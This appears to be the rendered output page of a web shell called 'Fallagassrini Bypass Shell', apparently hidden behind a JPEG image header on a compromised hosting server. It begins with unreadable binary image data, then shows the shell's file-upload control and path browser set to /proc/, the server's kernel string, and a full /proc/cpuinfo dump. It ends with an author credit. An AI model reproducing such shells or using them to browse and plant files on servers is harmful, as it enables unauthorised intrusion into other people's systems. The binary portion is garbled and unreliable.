JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /proc/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : //proc/cpuinfo

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2349.998
cache size	: 512 KB
physical id	: 0
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm art rep_good nopl extd_apicid eagerfpu pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd rsb_ctxsw ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 clzero xsaveerptr arat umip spec_ctrl intel_stibp arch_capabilities
bogomips	: 4699.99
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2349.998
cache size	: 512 KB
physical id	: 1
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm art rep_good nopl extd_apicid eagerfpu pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd rsb_ctxsw ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 clzero xsaveerptr arat umip spec_ctrl intel_stibp arch_capabilities
bogomips	: 4699.99
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2349.998
cache size	: 512 KB
physical id	: 2
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm art rep_good nopl extd_apicid eagerfpu pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd rsb_ctxsw ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 clzero xsaveerptr arat umip spec_ctrl intel_stibp arch_capabilities
bogomips	: 4699.99
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2349.998
cache size	: 512 KB
physical id	: 3
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm art rep_good nopl extd_apicid eagerfpu pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd rsb_ctxsw ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 clzero xsaveerptr arat umip spec_ctrl intel_stibp arch_capabilities
bogomips	: 4699.99
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net